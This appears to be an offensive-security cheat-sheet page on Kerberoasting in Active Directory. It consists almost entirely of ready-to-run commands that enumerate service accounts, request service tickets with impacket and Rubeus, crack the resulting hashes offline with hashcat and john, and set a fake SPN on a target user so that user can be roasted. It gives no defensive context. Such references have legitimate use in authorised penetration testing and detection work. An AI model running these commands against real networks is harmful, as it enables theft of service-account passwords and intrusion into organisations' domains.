Kerberos
Kerberoasting
Kerberoasting: request TGS tickets for service accounts and crack offline to recover passwords.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Kerberoasting: request TGS tickets for service accounts and crack offline to recover passwords.
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "[email protected]" -w 'pass' "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request -outputfile hashes.txt
.\Rubeus.exe kerberoast
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_account
Request-SPNTicket -SPN "MSSQLSvc/sql.domain.local"
setspn -T DOMAIN -Q */*
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Set-DomainObject -Identity targetuser -SET @{serviceprincipalname='fake/spn'}
.\Rubeus.exe kerberoast /user:targetuser
Set-DomainObject -Identity targetuser -Clear serviceprincipalname # Cleanup
| Task | Command |
|---|---|
| Find SPNs | impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC |
| Request | Add -request -outputfile hashes.txt |
| Crack | hashcat -m 13100 hashes.txt wordlist |
| Rubeus | .\Rubeus.exe kerberoast |